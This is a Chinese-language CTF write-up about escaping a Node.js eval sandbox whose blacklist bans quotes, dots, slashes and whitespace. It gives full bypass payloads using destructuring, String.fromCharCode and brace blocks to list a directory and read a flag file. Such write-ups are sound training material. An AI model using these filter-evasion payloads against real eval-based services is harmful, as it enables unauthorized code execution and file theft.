前言

刚打完的比赛,还热乎着,难得拿了个一血,可惜之后就寄了……

正文

题目附件为:

ip: 152.136.122.197
port: 53502
protocol: http

用Chrome浏览器访问,提示错误的响应体

Chrome错误提示

用FireFox可以看到返回内容为main.js的内容

FireFox能显示返回内容

main.js内容为:

const readline = require('readline');
const fs = require("fs");
const path = require("path");

const banlist = Array.from(`\`"'[];,./: \t\n`);

const ban = s => banlist.some(v => s.indexOf(v) !== -1);

const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout
});

console.log(fs.readFileSync(path.join(__dirname, "./main.js")).toString());

rl.question(">>> ", (payload) => {
  if (ban(payload)) {
    console.log("Ban!");
  } else {
    console.log(eval(payload));
  }
  rl.close();
});

rl.on('close', function () {
  process.exit(0);
});

主要逻辑是判断传入payload里有没有这些特殊符号

` " ' [ ] ; , . / : "空格" \t \n

研究了一小时,发现(){}+是可以用的

绕过思路如下:

  • 用解包赋值绕过函数调用中的.

    // 相当于 console.log('114514')
    var {log} = console
    log('114514')
  • String.fromCharCode()绕过文本中的特殊字符

    //得到 '.'
    String.fromCharCode(46)
  • 使用{}代码段分隔多行代码,避免使用;和任何空白符号

本地测试代码如下:

const readline = require('readline');
const fs = require("fs");
const path = require("path");
const banlist = Array.from(`\`"'[];,./: \t\n`);
const ban = s => banlist.some(v => s.indexOf(v) !== -1);

let payload = `
({
  //payload here
})()
`.replace(/\s/g,'');

if (ban(payload)) {
  console.log("Ban!");
} else {
  console.log(payload);
  console.log(eval(payload));
}
process.exit(0);

i PS: payload外面的 (()=>{ })() 是可以去掉的

构造payload:

//等效于 console.log(fs.readdirSync(".."))
(
  ()=>{
    {
      var{readdirSync} = fs
    }
    {
      var{from} = Array
    }
    {
      var{fromCharCode} = String
    }
    {
      var{log} = console
    }
    {
      log(readdirSync(fromCharCode(46)+fromCharCode(46)))
    }
  }
)()

用Telnet客户端连接可以执行payload

payload回显1

发现flag放在../flag中,读取之:

//等效于 console.log(fs.readFileSync("../flag"))
(
  ()=>{
    {
      var{readFileSync} = fs
    }
    {
      var{from} = Array
    }
    {
      var{fromCharCode} = String
    }
    {
      var{log} = console
    }
    {
      log(readFileSync(fromCharCode(46)+fromCharCode(46)+fromCharCode(47)+fromCharCode(102)+fromCharCode(108)+fromCharCode(97)+fromCharCode(103)))
    }
  }
)()

payload回显2

显示的是十六进制Hex,转一下就是Flag了

Flag到手

最后修改:2021 年 10 月 24 日
Null